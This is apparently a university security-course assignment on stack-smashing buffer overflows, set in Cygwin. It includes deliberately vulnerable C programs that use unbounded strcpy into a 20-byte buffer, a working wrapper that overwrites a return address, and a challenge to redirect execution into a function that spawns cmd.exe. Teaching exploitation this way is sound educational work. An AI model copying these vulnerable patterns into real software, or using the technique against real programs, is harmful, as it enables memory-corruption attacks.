Assignment #2

Home > Courses > 2110413

Buffer Overflow

This exercise will familiar you to stack smashing, a type of buffer-overflow attacks. It should give you a general idea of how buffer overflow can be used in action. The real buffer-overflow attacks are more elaborated. We only learn a subset of it here.

Prologue

In this exercie, we will use cygwin, a linux-like environment for Windows, as our platform. Please go to http://www.cygwin.com/ and download the installation (setup.exe).

Note that you need an internet connection for the installation.

To install, run "setup.exe". The program will ask for a mirror site for installation, pick an appropriate choice (e.g. a mirror in Japan or Asia). There are only two main components required for this exercise: gcc and bin-utils. Other choices are optional. I recommend that you install pico or vi for using as your text editor. The installation may take hours (depending on your internet connection).

After the installation, you will find a program group "cygwin" in your Windows start menu. Run the "cygwin".

Now, let's test that gcc is working by compiling a simple program. This is "hello.c". Use your favorite editor (e.g. notepad) to write this program. Note that all cygwin path are relative to c:\cygwin\ (i.e. /home in cygwin will be c:\cygwin\home in Windows).


  #include <stdio.h>
  int main(int argc, char *argv[]) {
  	printf ("Hello, World\n");
  }
run gcc -o hello hello.c
The program will give hello.exe. Type ./hello.exe to run your program.

To disassembler, try objdump -d hello.exe. I know that assembly may be greek to you, but that is not an issue (at least for now.

If you got it all working, you are ready for the exercise.

Exercise

1. Stack Layout: Let's start with a simple C program. (Download source ex1.c);


#include <stdio.h>

/* Prototype function */
void myfunction (int i);

char *p;

int main() {
        printf("&main = %p\n", & main);
        printf("&myfunction = %p\n", &myfunction);
        myfunction (12);
}

void myfunction (int i) {
        char buf[20]="0123456789012345678";
        printf("&i = %p\n", &i);
        printf("&buf[0] = %p\n", buf);
        for(p=((char *) &i)+8;p>buf-8;p--) {
                printf("%p: 0x%x\t", p, *(unsigned char*) p);
                if (! ((unsigned int )p %4) )
                        printf("\n");
        }

}

Compile this program and run it. Depending on your version and environment, your result may vary. However, it should look somewhat like this.

$ ./ex1
&main = 0x401050
&myfunction = 0x4010b0
&i = 0x22ccc0
&buf[0] = 0x22cc90
0x22ccc8: 0x50
0x22ccc7: 0x0 0x22ccc6: 0x40 0x22ccc5: 0x10 0x22ccc4: 0xb0
0x22ccc3: 0x0 0x22ccc2: 0x0 0x22ccc1: 0x0 0x22ccc0: 0xc
0x22ccbf: 0x0 0x22ccbe: 0x40 0x22ccbd: 0x10 0x22ccbc: 0xae
0x22ccbb: 0x0 0x22ccba: 0x22 0x22ccb9: 0xcc 0x22ccb8: 0xe8
0x22ccb7: 0x0 0x22ccb6: 0x0 0x22ccb5: 0x0 0x22ccb4: 0x17
0x22ccb3: 0x61 0x22ccb2: 0x10 0x22ccb1: 0x11 0x22ccb0: 0x4c
0x22ccaf: 0x61 0x22ccae: 0x0 0x22ccad: 0x4a 0x22ccac: 0xe
0x22ccab: 0x0 0x22ccaa: 0x22 0x22cca9: 0xcc 0x22cca8: 0xc4
0x22cca7: 0x0 0x22cca6: 0x40 0x22cca5: 0x20 0x22cca4: 0xc
0x22cca3: 0x0 0x22cca2: 0x38 0x22cca1: 0x37 0x22cca0: 0x36
0x22cc9f: 0x35 0x22cc9e: 0x34 0x22cc9d: 0x33 0x22cc9c: 0x32
0x22cc9b: 0x31 0x22cc9a: 0x30 0x22cc99: 0x39 0x22cc98: 0x38
0x22cc97: 0x37 0x22cc96: 0x36 0x22cc95: 0x35 0x22cc94: 0x34
0x22cc93: 0x33 0x22cc92: 0x32 0x22cc91: 0x31 0x22cc90: 0x30
0x22cc8f: 0x0 0x22cc8e: 0x22 0x22cc8d: 0xcc 0x22cc8c: 0xc8
0x22cc8b: 0x0 0x22cc8a: 0x0 0x22cc89: 0x0

Basically, this program displays your stack layout. The program tells us the addresses of main and myfunction (0x401050 and 0x4010b0 respectively). The content of main function would intuitively between these two addresses. --- Hint, the return address should be in this region

Draw a stack layout of your program. Start from the address of &buf[0] and stop at &i+8. Specify symbol and content (if possible). Make sure that you have identified argument (i), and return address.

The result should look somewhat like this. (You may simply circle the result from the program above and write down the associated symbol.)

Address Content Symbol
     
     
...    
...    
buff+0x14 ...  
buff+0x10 ... buff
buff+0x0c ...
buff+0x08 ...
buff+0x04 ...
buff+0x00 "0123"

2. Stack Smashing: Let's the fun part begin. Consider the following program (Download source ex2.c)

#include <stdio.h>
void greeting() {
        printf("Welcome to exercise II\n");
        printf("I hope you enjoy it\n\n");
}

void concat_arguments(int argc, char**argv) {
        char buf[20];
        char *p = buf;
        int i;

        for(i=1;i<argc;i++) {
                strcpy(p, argv[i]);
                p+=strlen(argv[i]);
                if(i+1 != argc) {
                        *p++ = ' ';
                }
        }
        printf("%s\n", buf);
}

int main(int argc, char **argv) {
        greeting();
        concat_arguments(argc, argv);
}

When we run this program, we get something similar to the following.

$ ./ex2 a b c
Welcome to exercise II
I hope you enjoy it a b c

Now we need to call the program in such a way that we overwrite the return value with address of the code that we want the program to return to. Let's say that we want to make the program return to the main program again. We have to first figure out the address of greeting. One simple way is to add the following code to the program. This way the program can simply tell us the address.

printf("%p\n", &greeting);

What if we cannot edit the program, how to obtain such information? One method is disassembler. Try objdump -d ex2.exe to disassembly the program. You may get a long list. It might be easier to save the result to a file (using redirection) and use a text editior to open it. (or use more). Anyway, I will use grep to get the specific line.

$ objdump -d ex2.exe |grep greeting
00401050 <_greeting>: 401123: e8 28 ff ff ff call 401050 <_greeting>

With grep, we only filter lines with greeting. BINGO! The first is just what we need. Given that the stack layout of this program should be somewhat similar to what we get from exercise 1, we can combine the knowledge to create an attack program. Assuming that the return address is 24 bytes away from buff, here is how it may look.s

  #include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv) {
char *buf = (char *) malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i,j;
for(i=0;i<24;i++) buf[i]='x';

buf[24]=0x50; buf[25]=0x10;
buf[26]=0x40;
buf[27]=0x00;

arr[0]="./ex2";
arr[1]=buf;
arr[2]='\0';

execv("./ex2",arr); }

Here is the result.

$ ./wrapper
Welcome to exercise II
I hope you enjoy it

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxP@ Welcome to exercise II I hope you enjoy it Segmentation fault (core dumped)

Finally, we got it. However, the program have nothing to return to after finishing the greeting function for the second time. Without a valid return address to return to, the default behavior is "Segmentation fault". Anyway, you should get the concept.

Modify the example program to exploit buffer-overflow attacks in the given program (ex2.c). Put your code in the report and explian how did you obtain the offset and a valid return address for the attack.

3. Challenging: In this exercise, you are challenged to exploit a buffer-overflow attack in this given program
(victim.exe).

In this victim program, I put a Windows shell code (cmd.exe), namely shell funciton, inside the program. Your task is to overflow the stack and change the program flow to call such function. A successful attack should look somewhat like this.

$ ./attack
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxP@ Congratulation, you have mastered stack smashing. This program will give you Windows CMD. Type exit, to return to cygwin
Microsoft Windows XP [Version 5.1.2600]
   (C) Copyright 1985-2001 Microsoft Corp.
C:\cygwin\home\[user]>

Hint. use objdump to obtain necessary information.

Okay, I give you more hint. Here is the source code (victim.c). In real world, you may not have a chance to see the source.

#include <stdio.h>
#include <stdlib.h>
void shell() { char cmd[]="/cygdrive/c/WINDOWS/system32/cmd"; printf("Congratulation, you have mastered stack smashing.\n"); printf("This program will give you Windows CMD.\n"); printf("Type exit, to return to cygwin\n\n"); execl(cmd,cmd,0); } void concat_arguments(int argc, char**argv) { char buf[20]; char *p = buf; int i; for(i=1;i<argc;i++) { strcpy(p, argv[i]); p+=strlen(argv[i]); if(i+1 != argc) { *p++ = ' '; } } printf("%s\n", buf); } int main(int argc, char **argv) { concat_arguments(argc, argv); printf("Program terminated normally\n"); }

Put your code in the report and explian how did you obtain the necessary information.

4. Question: Now you have mastered a generic buffer-overflow attack. Please answer the following questions.

ENJOY !!